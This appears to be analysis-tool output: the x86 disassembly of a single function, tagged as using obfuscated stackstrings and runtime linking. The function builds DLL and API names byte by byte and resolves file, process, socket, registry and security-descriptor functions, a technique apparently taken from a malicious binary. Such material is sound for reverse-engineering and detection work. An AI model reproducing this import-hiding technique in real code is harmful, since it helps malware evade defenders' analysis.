Function at 0x10010d60
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x174
mov eax, dword [0x10082094]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventW]
push edi
push 0
push 0
push 1
push 0
call esi
push 0
push 0
push 1
push 0
mov dword [0x1008203c], eax
call esi
push 0
push 0
push 0
mov dword [0x10082044], eax
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x10082040], eax
mov ecx, 0x6c
xor eax, eax
mov dword [ebp - 0xce], ecx
mov word [ebp - 0x134], ax
mov edx, 0x33
mov eax, 0x57
mov word [ebp - 0xd0], cx
mov word [ebp - 0xe0], ax
mov esi, 0x64
mov eax, 0x5f
mov dword [ebp - 0x11c], ecx
mov word [ebp - 0xda], ax
lea edi, [edx + 0x3f]
xor eax, eax
mov dword [ebp - 0x13e], 0x2e0032
mov word [ebp - 0xfe], ax
lea ebx, [edx + 0x2e]
mov eax, ecx
mov dword [ebp - 0x144], 0x6c0065
mov word [ebp - 0x110], ax
lea ecx, [edx + 0x36]
mov dword [ebp - 0xe6], eax
mov eax, 0x2e
mov word [ebp - 0xec], ax
mov eax, 0x55
mov word [ebp - 0xf8], ax
mov eax, 0x41
mov word [ebp - 0x168], ax
xor eax, eax
mov dword [ebp - 0x138], 0x6c006c
mov word [ebp - 0x140], dx
mov dword [ebp - 0x148], 0x6e0072
mov word [ebp - 0x13a], si
mov dword [ebp - 0x14c], 0x65004b
mov dword [ebp - 0xde], 0x320073
mov dword [ebp - 0xd4], 0x64002e
mov dword [ebp - 0xd8], 0x320033
mov dword [ebp - 0x114], 0x680053
mov dword [ebp - 0x10a], 0x690070
mov dword [ebp - 0x10e], 0x610077
mov dword [ebp - 0x102], 0x6c006c
mov dword [ebp - 0x106], 0x64002e
mov dword [ebp - 0xea], 0x6c0064
mov dword [ebp - 0xf0], 0x320033
mov dword [ebp - 0xf6], 0x650073
mov word [ebp - 0xf2], di
mov dword [ebp - 0x130], 0x680053
mov dword [ebp - 0x120], 0x6c0064
mov dword [ebp - 0x128], 0x33006c
mov dword [ebp - 0x12c], 0x6c0065
mov dword [ebp - 0x124], 0x2e0032
mov dword [ebp - 0x154], 0x6c006c
mov dword [ebp - 0x166], 0x760064
mov dword [ebp - 0x160], 0x690070
mov dword [ebp - 0x158], 0x64002e
mov dword [ebp - 0x15c], 0x320033
mov word [ebp - 0x150], ax
mov word [ebp - 0x162], bx
mov dword [ebp - 0xbe], 0x64002e
mov dword [ebp - 0xc4], 0x700061
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x14c]
mov edx, 0x6c
mov dword [ebp - 0xc8], 0x730050
push eax
mov dword [ebp - 0xb8], 0x6c
mov word [ebp - 0xc0], cx
mov word [ebp - 0xba], dx
call esi
mov dword [ebp - 0x84], eax
lea eax, [ebp - 0xe0]
push eax
call esi
mov ebx, eax
lea eax, [ebp - 0x114]
push eax
call esi
mov edi, eax
lea eax, [ebp - 0xf8]
push eax
call esi
mov dword [ebp - 0x16c], eax
lea eax, [ebp - 0x130]
push eax
call esi
mov dword [ebp - 0x170], eax
lea eax, [ebp - 0x168]
push eax
call esi
mov dword [ebp - 0x174], eax
lea eax, [ebp - 0xc8]
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x84]
test eax, eax
je 0x100111bf
lea ecx, [ebp - 0x58]
mov word [ebp - 0x54], 0x6946
push ecx
push eax
mov word [ebp - 0x51], 0x65
mov dword [ebp - 0x58], 0x64616552
mov byte [ebp - 0x52], 0x6c
call esi
mov dword [0x100a28f0], eax
lea eax, [ebp - 0x80]
push eax
push dword [ebp - 0x84]
mov dword [ebp - 0x75], 0x57656c
mov dword [ebp - 0x79], 0x69467473
mov dword [ebp - 0x7e], 0x6946646e
mov word [ebp - 0x80], 0x6946
mov byte [ebp - 0x7a], 0x72
call esi
mov dword [0x100a28f4], eax
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 0x84]
mov dword [ebp - 0x35], 0x78654e64
mov dword [ebp - 0x2f], 0x57656c69
mov word [ebp - 0x37], 0x6e69
mov byte [ebp - 0x38], 0x46
mov byte [ebp - 0x2b], 0
mov word [ebp - 0x31], 0x4674
call esi
mov dword [0x100a28f8], eax
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0x84]
mov word [ebp - 0x43], 0x6f6c
mov dword [ebp - 0x47], 0x43646e69
mov word [ebp - 0x40], 0x65
mov byte [ebp - 0x48], 0x46
mov byte [ebp - 0x41], 0x73
call esi
mov dword [0x100a28fc], eax
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x84]
mov word [ebp - 0x6c], 0x6554
mov word [ebp - 0x61], 0x636f
mov word [ebp - 0x5e], 0x7373
mov dword [ebp - 0x69], 0x616e696d
mov dword [ebp - 0x65], 0x72506574
mov byte [ebp - 0x5c], 0
mov byte [ebp - 0x5f], 0x65
mov byte [ebp - 0x6a], 0x72
call esi
mov dword [0x100a2900], eax
lea eax, [ebp - 0xb0]
push eax
push dword [ebp - 0x84]
mov dword [ebp - 0xa7], 0x73736563
mov dword [ebp - 0x9b], 0x6d614e65
mov word [ebp - 0x96], 0x57
mov dword [ebp - 0xa1], 0x46656761
mov dword [ebp - 0xab], 0x6f725074
mov word [ebp - 0x9d], 0x6c69
mov dword [ebp - 0xb0], 0x4732334b
mov word [ebp - 0xa3], 0x6d49
mov byte [ebp - 0x97], 0x65
mov byte [ebp - 0xac], 0x65
call esi
mov dword [0x100a2954], eax
test eax, eax
jne 0x100111bf
mov eax, dword [ebp - 0x8c]
test eax, eax
je 0x100111bf
lea ecx, [ebp - 0x24]
mov dword [ebp - 0xf], 0x57656d
push ecx
push eax
mov dword [ebp - 0x22], 0x6f725074
mov dword [ebp - 0x18], 0x46656761
mov dword [ebp - 0x1d], 0x49737365
mov dword [ebp - 0x13], 0x614e656c
mov word [ebp - 0x24], 0x6547
mov byte [ebp - 0x19], 0x6d
mov byte [ebp - 0x14], 0x69
mov byte [ebp - 0x1e], 0x63
call esi
mov dword [0x100a2954], eax
test ebx, ebx
je 0x100112b1
lea eax, [ebp - 0x48]
mov dword [ebp - 0x48], 0x53415357
push eax
push ebx
mov dword [ebp - 0x44], 0x74726174
mov word [ebp - 0x3f], 0x70
mov byte [ebp - 0x40], 0x75
call esi
mov dword [0x100a2904], eax
lea eax, [ebp - 0x7c]
push eax
push ebx
mov word [ebp - 0x79], 0x6c43
mov word [ebp - 0x76], 0x6e61
mov word [ebp - 0x7b], 0x4153
mov byte [ebp - 0x7c], 0x57
mov word [ebp - 0x73], 0x70
mov byte [ebp - 0x77], 0x65
mov byte [ebp - 0x74], 0x75
call esi
mov dword [0x100a2908], eax
lea eax, [ebp - 0x54]
push eax
push ebx
mov dword [ebp - 0x54], 0x6e6e6f63
mov word [ebp - 0x4f], 0x7463
mov byte [ebp - 0x50], 0x65
mov byte [ebp - 0x4d], 0
call esi
mov dword [0x100a290c], eax
lea eax, [ebp - 0x34]
push eax
push ebx
mov word [ebp - 0x31], 0x6573
mov word [ebp - 0x2a], 0x74
mov word [ebp - 0x34], 0x6c63
mov dword [ebp - 0x2f], 0x6b636f73
mov byte [ebp - 0x32], 0x6f
mov byte [ebp - 0x2b], 0x65
call esi
mov dword [0x100a2910], eax
lea eax, [ebp - 0x90]
push eax
push ebx
mov dword [ebp - 0x90], 0x646e6573
mov byte [ebp - 0x8c], 0
call esi
mov dword [0x100a2914], eax
lea eax, [ebp - 0x88]
push eax
push ebx
mov word [ebp - 0x88], 0x6572
mov word [ebp - 0x85], 0x76
mov byte [ebp - 0x86], 0x63
call esi
mov dword [0x100a2918], eax
test edi, edi
je 0x100113c7
lea eax, [ebp - 0x20]
mov dword [ebp - 0x1d], 0x6d655268
push eax
push edi
mov dword [ebp - 0x17], 0x6c694665
mov dword [ebp - 0x13], 0x65705365
mov word [ebp - 0xf], 0x5763
mov word [ebp - 0x1f], 0x7461
mov byte [ebp - 0x20], 0x50
mov word [ebp - 0x19], 0x766f
mov byte [ebp - 0xd], 0
call esi
mov dword [0x100a291c], eax
lea eax, [ebp - 0x34]
push eax
push edi
mov dword [ebp - 0x31], 0x70704168
mov word [ebp - 0x34], 0x6150
mov dword [ebp - 0x2c], 0x57646e
mov byte [ebp - 0x32], 0x74
mov byte [ebp - 0x2d], 0x65
call esi
mov dword [0x100a2920], eax
lea eax, [ebp - 0x80]
push eax
push edi
mov dword [ebp - 0x78], 0x576575
mov word [ebp - 0x7f], 0x5348
mov dword [ebp - 0x7c], 0x6c615674
mov byte [ebp - 0x7d], 0x65
mov byte [ebp - 0x80], 0x53
call esi
mov dword [0x100a2924], eax
lea eax, [ebp - 0x48]
push eax
push edi
mov word [ebp - 0x46], 0x5472
mov word [ebp - 0x43], 0x6e49
mov word [ebp - 0x40], 0x57
mov byte [ebp - 0x44], 0x6f
mov byte [ebp - 0x41], 0x74
mov word [ebp - 0x48], 0x7453
call esi
mov dword [0x100a2928], eax
lea eax, [ebp - 0x6c]
push eax
push edi
mov dword [ebp - 0x65], 0x69784565
mov dword [ebp - 0x61], 0x57737473
mov dword [ebp - 0x6a], 0x69466874
mov word [ebp - 0x6c], 0x6150
mov byte [ebp - 0x66], 0x6c
mov byte [ebp - 0x5d], 0
call esi
mov dword [0x100a292c], eax
lea eax, [ebp - 0x58]
push eax
push edi
mov dword [ebp - 0x51], 0x5765756c
mov byte [ebp - 0x4d], 0
mov dword [ebp - 0x55], 0x61567465
mov word [ebp - 0x57], 0x4748
mov byte [ebp - 0x58], 0x53
call esi
mov dword [0x100a2930], eax
mov ebx, dword [ebp - 0x16c]
test ebx, ebx
je 0x1001146c
lea eax, [ebp - 0x48]
mov word [ebp - 0x40], 0x57
push eax
push ebx
mov dword [ebp - 0x45], 0x746e6972
mov word [ebp - 0x47], 0x7073
mov byte [ebp - 0x41], 0x66
mov byte [ebp - 0x48], 0x77
call esi
mov dword [0x100a2934], eax
lea eax, [ebp - 0x24]
push eax
push ebx
mov dword [ebp - 0xf], 0x644973
mov dword [ebp - 0x1e], 0x54776f64
mov dword [ebp - 0x19], 0x64616572
mov dword [ebp - 0x15], 0x636f7250
mov byte [ebp - 0x1a], 0x68
mov word [ebp - 0x20], 0x6e69
mov word [ebp - 0x23], 0x7465
mov byte [ebp - 0x24], 0x47
mov word [ebp - 0x11], 0x7365
mov byte [ebp - 0x21], 0x57
call esi
mov dword [0x100a2938], eax
lea eax, [ebp - 0x34]
push eax
push ebx
mov dword [ebp - 0x2d], 0x6f50776f
mov dword [ebp - 0x34], 0x57746553
mov word [ebp - 0x29], 0x73
mov word [ebp - 0x2f], 0x646e
mov byte [ebp - 0x30], 0x69
call esi
mov dword [0x100a293c], eax
mov eax, dword [ebp - 0x170]
test eax, eax
je 0x100114b8
lea ecx, [ebp - 0x24]
mov word [ebp - 0x11], 0x7461
push ecx
push eax
mov dword [ebp - 0x24], 0x65474853
mov dword [ebp - 0x20], 0x65705374
mov word [ebp - 0xe], 0x57
mov dword [ebp - 0x1c], 0x6c616963
mov dword [ebp - 0x18], 0x646c6f46
mov word [ebp - 0x13], 0x5072
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0xf], 0x68
call esi
mov dword [0x100a2940], eax
mov ebx, dword [ebp - 0x174]
test ebx, ebx
je 0x1001159b
lea eax, [ebp - 0x38]
mov dword [ebp - 0x37], 0x6e457465
push eax
push ebx
mov word [ebp - 0x2d], 0x416e
mov word [ebp - 0x30], 0x7365
mov dword [ebp - 0x2b], 0x576c63
mov word [ebp - 0x33], 0x7274
mov byte [ebp - 0x38], 0x53
mov byte [ebp - 0x31], 0x69
mov byte [ebp - 0x2e], 0x49
call esi
mov dword [0x100a2944], eax
lea eax, [ebp - 0x6c]
push eax
push ebx
mov dword [ebp - 0x6c], 0x53746553
mov word [ebp - 0x61], 0x6e49
mov dword [ebp - 0x68], 0x72756365
mov word [ebp - 0x5e], 0x6f
mov word [ebp - 0x63], 0x7974
mov byte [ebp - 0x64], 0x69
mov byte [ebp - 0x5f], 0x66
call esi
mov dword [0x100a2948], eax
lea eax, [ebp - 0x54]
push eax
push ebx
mov dword [ebp - 0x52], 0x69536565
mov word [ebp - 0x4e], 0x64
mov word [ebp - 0x54], 0x7246
call esi
mov dword [0x100a294c], eax
lea eax, [ebp - 0x24]
push eax
push ebx
mov word [ebp - 0x24], 0x6553
mov dword [ebp - 0x13], 0x726f7470
mov dword [ebp - 0xe], 0x6c6361
mov dword [ebp - 0x17], 0x69726373
mov dword [ebp - 0x21], 0x75636553
mov byte [ebp - 0xf], 0x44
mov word [ebp - 0x19], 0x6544
mov word [ebp - 0x1c], 0x7469
mov byte [ebp - 0x1d], 0x72
mov byte [ebp - 0x1a], 0x79
mov byte [ebp - 0x22], 0x74
call esi
mov dword [0x100a2950], eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100143ff
mov esp, ebp
pop ebp
ret